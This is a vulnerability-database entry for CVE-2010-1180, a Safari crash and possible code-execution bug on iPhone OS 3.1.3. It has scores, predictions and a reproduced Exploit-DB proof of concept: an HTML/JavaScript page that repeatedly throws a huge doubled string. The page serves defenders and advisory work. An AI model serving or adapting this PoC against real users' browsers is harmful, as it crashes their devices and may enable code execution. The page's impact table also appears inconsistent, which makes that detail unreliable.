CVE-2010-1180

critical

Published 2010-03-29 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

10.0

Description

Safari on Apple iPhone OS 3.1.3 for iPod touch allows remote attackers to cause a denial of service (application crash) or possibly execute arbitrary code via a long exception string in a throw statement, possibly a related issue to CVE-2009-1514.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-33810 remote osx verified text · 1 KB

Nishant Das Patnaik · 2010-03-26

Apple Safari for iPhone/iPod touch - 'Throw' Exception Remote Code Execution

text exploit Source: Exploit-DB

source: https://www.securityfocus.com/bid/38992/info

Apple Safari on iPhone and iPod touch is prone to a remote code-execution vulnerability.

Successful exploits can allow an attacker to run arbitrary code in the context of the user running the application. Failed attacks may cause denial-of-service conditions.

Safari on Apple iPhone and iPod touch 3.1.3 is vulnerable; other versions may also be affected. 

<html> <head> <title> Bad "throw" exception Remote DoS on Safari for iPhone & iPod Touch </title> <script language="JavaScript"> var n=unescape("%u9090"); var s=unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000"); for(var i=0;i<64;i++){ n=n+n; document.write('<script>throw n+s;</scr'+'ipt>'); } </script> </head> <body> <center> <h1> Bad "throw" exception Remote DoS on Safari for iPhone & iPod Touch </h1> <h2> (C) Nishant Das Patnaik </h2> </center></body> </html>

OS impact

macOS Fixed 1 release

Version	Status	Fixed in
3.1.3	Not affected	—

Application impact

Vendor	Product	Versions	Fixed
apple	safari

References

CWEs

CWE-94

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Verify integrity in audit chain (admin only). AS-IS.